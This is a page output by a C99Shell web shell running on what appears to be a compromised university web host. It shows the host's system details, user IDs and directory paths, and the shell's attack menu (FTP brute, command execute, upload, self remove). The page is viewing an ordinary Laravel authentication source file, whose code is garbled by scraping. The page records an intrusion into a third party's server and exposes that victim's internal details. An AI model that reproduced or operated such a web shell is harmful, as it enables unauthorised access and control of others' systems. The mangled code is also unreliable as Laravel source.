!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/laravel/framework/src/Illuminate/Foundation/Auth/   drwxr-xr-x
Free 117.15 GB of 200.55 GB (58.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AuthenticatesUsers.php (5.76 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Foundation\Auth;

use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Auth;
use 
Illuminate\Support\Facades\Lang;

trait 
AuthenticatesUsers
{
    use 
RedirectsUsers;

    
/**
     * Show the application login form.
     *
     * @return \Illuminate\Http\Response
     */
    
public function getLogin()
    {
        return 
$this->showLoginForm();
    }

    
/**
     * Show the application login form.
     *
     * @return \Illuminate\Http\Response
     */
    
public function showLoginForm()
    {
        
$view property_exists($this'loginView')
                    ? 
$this->loginView 'auth.authenticate';

        if (
view()->exists($view)) {
            return 
view($view);
        }

        return 
view('auth.login');
    }

    
/**
     * Handle a login request to the application.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    
public function postLogin(Request $request)
    {
        return 
$this->login($request);
    }

    
/**
     * Handle a login request to the application.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    
public function login(Request $request)
    {
        
$this->validateLogin($request);

        
// If the class is using the ThrottlesLogins trait, we can automatically throttle
        // the login attempts for this application. We'll key this by the username and
        // the IP address of the client making these requests into this application.
        
$throttles $this->isUsingThrottlesLoginsTrait();

        if (
$throttles && $lockedOut $this->hasTooManyLoginAttempts($request)) {
            
$this->fireLockoutEvent($request);

            return 
$this->sendLockoutResponse($request);
        }

        
$credentials $this->getCredentials($request);

        if (
Auth::guard($this->getGuard())->attempt($credentials$request->has('remember'))) {
            return 
$this->handleUserWasAuthenticated($request$throttles);
        }

        
// If the login attempt was unsuccessful we will increment the number of attempts
        // to login and redirect the user back to the login form. Of course, when this
        // user surpasses their maximum number of attempts they will get locked out.
        
if ($throttles && ! $lockedOut) {
            
$this->incrementLoginAttempts($request);
        }

        return 
$this->sendFailedLoginResponse($request);
    }

    
/**
     * Validate the user login request.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return void
     */
    
protected function validateLogin(Request $request)
    {
        
$this->validate($request, [
            
$this->loginUsername() => 'required''password' => 'required',
        ]);
    }

    
/**
     * Send the response after the user was authenticated.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  bool  $throttles
     * @return \Illuminate\Http\Response
     */
    
protected function handleUserWasAuthenticated(Request $request$throttles)
    {
        if (
$throttles) {
            
$this->clearLoginAttempts($request);
        }

        if (
method_exists($this'authenticated')) {
            return 
$this->authenticated($requestAuth::guard($this->getGuard())->user());
        }

        return 
redirect()->intended($this->redirectPath());
    }

    
/**
     * Get the failed login response instance.
     *
     * @param \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    
protected function sendFailedLoginResponse(Request $request)
    {
        return 
redirect()->back()
            ->
withInput($request->only($this->loginUsername(), 'remember'))
            ->
withErrors([
                
$this->loginUsername() => $this->getFailedLoginMessage(),
            ]);
    }

    
/**
     * Get the failed login message.
     *
     * @return string
     */
    
protected function getFailedLoginMessage()
    {
        return 
Lang::has('auth.failed')
                ? 
Lang::get('auth.failed')
                : 
'These credentials do not match our records.';
    }

    
/**
     * Get the needed authorization credentials from the request.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return array
     */
    
protected function getCredentials(Request $request)
    {
        return 
$request->only($this->loginUsername(), 'password');
    }

    
/**
     * Log the user out of the application.
     *
     * @return \Illuminate\Http\Response
     */
    
public function getLogout()
    {
        return 
$this->logout();
    }

    
/**
     * Log the user out of the application.
     *
     * @return \Illuminate\Http\Response
     */
    
public function logout()
    {
        
Auth::guard($this->getGuard())->logout();

        return 
redirect(property_exists($this'redirectAfterLogout') ? $this->redirectAfterLogout '/');
    }

    
/**
     * Get the guest middleware for the application.
     */
    
public function guestMiddleware()
    {
        
$guard $this->getGuard();

        return 
$guard 'guest:'.$guard 'guest';
    }

    
/**
     * Get the login username to be used by the controller.
     *
     * @return string
     */
    
public function loginUsername()
    {
        return 
property_exists($this'username') ? $this->username 'email';
    }

    
/**
     * Determine if the class is using the ThrottlesLogins trait.
     *
     * @return bool
     */
    
protected function isUsingThrottlesLoginsTrait()
    {
        return 
in_array(
            
ThrottlesLogins::class, class_uses_recursive(static::class)
        );
    }

    
/**
     * Get the guard to be used during authentication.
     *
     * @return string|null
     */
    
protected function getGuard()
    {
        return 
property_exists($this'guard') ? $this->guard null;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0399 ]--